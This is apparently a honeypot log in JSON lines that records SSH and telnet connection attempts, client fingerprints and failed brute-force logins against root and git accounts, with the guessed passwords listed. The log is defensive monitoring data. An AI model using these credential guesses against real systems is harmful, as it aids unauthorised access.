{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:f4:1e:21:9c:62:c1:55:ab:3f:da:85:34:f1:d8:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCskxNkOFk1l3S3wXPTn74nTiwp3xsZR3uEfY01kfjqTVSt1bVvHHdoXZWdop8+X0X0u6A0H5eDGBN1smS5+ndUxFVVHIE1B+WJna+e/132viIGOye3WDgTuniUB+7JrnyGXVW7Pw4kdMGn8Lu+8Wc2CAyUgg5SXgU78bSfaBY8b+Aobf7hi7Qps36e+ckIA0TrWxEpWYcuE2EVJ8PuoLlTkbV249MjzQGrVxH5FxEpzYh+UGDUsirWfF7rtz8KBeGeUmWQhalVQQvJTvzW4ZFTtLvWuiMJVjD8WGEk9V11Z3YSbRhPLpmQvO5Pp42KitsuKNrCITRXmaGcdcc0Qnux","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:55.063811Z","src_ip":"51.159.104.219","session":"fe330016bc87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:83:24:3e:53:20:8f:eb:2e:d5:0a:56:7d:3b:6b:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTACnX2tK+3wNDm+5cWtC7SluDFNucya7p5HlMhgU+mNU+gl9EQegT1dZfC8yaAVWb/j686Nck6MaoNyhZOV5BOtfCo5jWzkIB5ORWo8coTOXAETih1eFd8q+2rB3Y+rTKESahxzHTWxcvAyIhHi7Ocjqrb6jBflJCuvgf5ycr/Qmb6kZdi07gyULWGVg5VE0mfowa5vfJ6sewhOaeAuUnk752wxmn8XJb1HMcBo133Pi7uCdQlb3Ut26os9l3ocQCdpEmSbUMtftS3vG+JcZ55+jAztfc+pcE0OBPCaFZa9f5VFZmhDUnJ/RmiucpvK3Ev2hjse73HmhZKJ15nZcmpvdIDSQJEhMoLknDCHwzw3Vpa1OgKtVsV6zlw5PWb5xAce6EQyT3MfkNHdy4lr1cFW4KVWzzbf2oNVGCYO7mQjrJD5KDUeyJB2pwLm68YPLp2BZDlhLKOjOlCnRJEQ0xpl5X7TqGIRg6aqMkGo41YC2V1u93RdR0vztxjK6P6wpqWqYhmZ4I9gghqdThU2mXwngBbGhjrtpDnITFp7/NDgo3zfcEZj7ZLK5T+4m1MDzKIdXvDZco1Z6E4Tlk0DOC1DsSzItt8+HRB/MhgDRQ7RPo/xYyMxQiZYPwAh2+3x9eNVIgU87aPzC0ZX9Pe97xF7fZCzIwTBiHUeS9x92EBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:83:24:3e:53:20:8f:eb:2e:d5:0a:56:7d:3b:6b:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:55.152744Z","src_ip":"51.159.104.219","session":"fe330016bc87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:83:24:3e:53:20:8f:eb:2e:d5:0a:56:7d:3b:6b:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTACnX2tK+3wNDm+5cWtC7SluDFNucya7p5HlMhgU+mNU+gl9EQegT1dZfC8yaAVWb/j686Nck6MaoNyhZOV5BOtfCo5jWzkIB5ORWo8coTOXAETih1eFd8q+2rB3Y+rTKESahxzHTWxcvAyIhHi7Ocjqrb6jBflJCuvgf5ycr/Qmb6kZdi07gyULWGVg5VE0mfowa5vfJ6sewhOaeAuUnk752wxmn8XJb1HMcBo133Pi7uCdQlb3Ut26os9l3ocQCdpEmSbUMtftS3vG+JcZ55+jAztfc+pcE0OBPCaFZa9f5VFZmhDUnJ/RmiucpvK3Ev2hjse73HmhZKJ15nZcmpvdIDSQJEhMoLknDCHwzw3Vpa1OgKtVsV6zlw5PWb5xAce6EQyT3MfkNHdy4lr1cFW4KVWzzbf2oNVGCYO7mQjrJD5KDUeyJB2pwLm68YPLp2BZDlhLKOjOlCnRJEQ0xpl5X7TqGIRg6aqMkGo41YC2V1u93RdR0vztxjK6P6wpqWqYhmZ4I9gghqdThU2mXwngBbGhjrtpDnITFp7/NDgo3zfcEZj7ZLK5T+4m1MDzKIdXvDZco1Z6E4Tlk0DOC1DsSzItt8+HRB/MhgDRQ7RPo/xYyMxQiZYPwAh2+3x9eNVIgU87aPzC0ZX9Pe97xF7fZCzIwTBiHUeS9x92EBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:55.156301Z","src_ip":"51.159.104.219","session":"fe330016bc87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:94:89:63:5e:e8:5e:9d:7e:dc:78:d3:a3:e3:57:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7EgZW4jXfpXueEVQ2i453vDmRbsaaK5Hj4wSZ0uFg2JsKN7RdKeUa/gcXwSHtyFmrx7DOBkCjmn+7rsssiT71McNshGoK4fe2ng14PBgZH3a3WWqq6/PcEpEs2Dbm0K8Kqr8XFpfSbB6J/B/NeqhoqVqPXEIP64RkO0krS+cXe3zfqrIQWljn/d8+QT34ajXwuZaK8/fLdBP1YAsXoXTzsSSQYtY1Hewh9g+1QpWCCyD+YhFXg4IH5FfOuwOHlgoIpDMPinl3W6agpSL0FbeC3HUow/6M6JbNmUZ4qWzTFSMr5NwJI+h+Nkz6U1v+P1h0f171XInGg4eUuU5ynyrp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:94:89:63:5e:e8:5e:9d:7e:dc:78:d3:a3:e3:57:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:55.241894Z","src_ip":"51.159.104.219","session":"fe330016bc87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:94:89:63:5e:e8:5e:9d:7e:dc:78:d3:a3:e3:57:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7EgZW4jXfpXueEVQ2i453vDmRbsaaK5Hj4wSZ0uFg2JsKN7RdKeUa/gcXwSHtyFmrx7DOBkCjmn+7rsssiT71McNshGoK4fe2ng14PBgZH3a3WWqq6/PcEpEs2Dbm0K8Kqr8XFpfSbB6J/B/NeqhoqVqPXEIP64RkO0krS+cXe3zfqrIQWljn/d8+QT34ajXwuZaK8/fLdBP1YAsXoXTzsSSQYtY1Hewh9g+1QpWCCyD+YhFXg4IH5FfOuwOHlgoIpDMPinl3W6agpSL0FbeC3HUow/6M6JbNmUZ4qWzTFSMr5NwJI+h+Nkz6U1v+P1h0f171XInGg4eUuU5ynyrp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:55.245687Z","src_ip":"51.159.104.219","session":"fe330016bc87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:55.330630Z","src_ip":"51.159.104.219","session":"fe330016bc87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:57.446191Z","src_ip":"8.210.75.243","session":"0d402ee4d53e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.76417803764343,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:58.954184Z","src_ip":"170.64.224.25","session":"2a07a216e3d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46650,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b46f63c6071","protocol":"ssh","message":"New connection: 91.92.40.4:46650 (10.17.0.5:22) [session: 8b46f63c6071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:01.197634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:01.201573Z","src_ip":"91.92.40.4","session":"8b46f63c6071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:01.282356Z","src_ip":"91.92.40.4","session":"8b46f63c6071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:01.527447Z","src_ip":"91.92.40.4","session":"8b46f63c6071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:02.610994Z","src_ip":"91.92.40.4","session":"8b46f63c6071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.39.204.145","src_port":46032,"dst_ip":"159.203.135.109","dst_port":22,"session":"f35edbb996ae","protocol":"ssh","message":"New connection: 185.39.204.145:46032 (159.203.135.109:22) [session: f35edbb996ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:06.637069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:06.643455Z","src_ip":"185.39.204.145","session":"f35edbb996ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:06.762060Z","src_ip":"185.39.204.145","session":"f35edbb996ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"*admin*","message":"login attempt [root/*admin*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:07.272763Z","src_ip":"185.39.204.145","session":"f35edbb996ae","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:07.647043Z","src_ip":"8.210.75.243","session":"c05ca5a86813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:08.396631Z","src_ip":"185.39.204.145","session":"f35edbb996ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:17.857497Z","src_ip":"8.210.75.243","session":"c05ca5a86813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:30.822581Z","src_ip":"8.210.75.243","session":"6645e42e89e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51536,"dst_ip":"159.203.135.109","dst_port":23,"session":"5457705590ee","protocol":"telnet","message":"New connection: 170.64.224.25:51536 (159.203.135.109:23) [session: 5457705590ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:34.190103Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60520,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7df624ed83c","protocol":"telnet","message":"New connection: 170.64.224.25:60520 (159.203.135.109:23) [session: c7df624ed83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:42.818111Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:45.636722Z","src_ip":"8.210.75.243","session":"04124ad3587b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.83390688896179,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:49:52.091771Z","src_ip":"170.64.224.25","session":"7c892332a618","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52558,"dst_ip":"10.17.0.5","dst_port":22,"session":"75b9fcc09498","protocol":"ssh","message":"New connection: 8.210.75.243:52558 (10.17.0.5:22) [session: 75b9fcc09498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:00.437026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:01.278831Z","src_ip":"8.210.75.243","session":"75b9fcc09498","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:06.565001Z","src_ip":"8.210.75.243","session":"75b9fcc09498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.74893832206726,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:08.938946Z","src_ip":"170.64.224.25","session":"5457705590ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36490,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a4151ec6149","protocol":"ssh","message":"New connection: 8.210.75.243:36490 (10.17.0.5:22) [session: 5a4151ec6149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:22.702612Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":58610,"dst_ip":"159.203.135.109","dst_port":22,"session":"66972db4668a","protocol":"ssh","message":"New connection: 185.242.3.195:58610 (159.203.135.109:22) [session: 66972db4668a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:23.746732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:23.750846Z","src_ip":"185.242.3.195","session":"66972db4668a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:23.839051Z","src_ip":"185.242.3.195","session":"66972db4668a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq!xsw@","message":"login attempt [root/zaq!xsw@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:24.102702Z","src_ip":"185.242.3.195","session":"66972db4668a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57328,"dst_ip":"159.203.135.109","dst_port":23,"session":"49d9e10bbb4a","protocol":"telnet","message":"New connection: 170.64.224.25:57328 (159.203.135.109:23) [session: 49d9e10bbb4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:25.065074Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:25.192429Z","src_ip":"185.242.3.195","session":"66972db4668a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":54160,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf5e00e72368","protocol":"ssh","message":"New connection: 190.244.39.224:54160 (159.203.135.109:22) [session: bf5e00e72368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:46.290368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:46.294776Z","src_ip":"190.244.39.224","session":"bf5e00e72368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:46.469850Z","src_ip":"190.244.39.224","session":"bf5e00e72368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741963","message":"login attempt [root/741963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:47.209299Z","src_ip":"190.244.39.224","session":"bf5e00e72368","protocol":"ssh"}
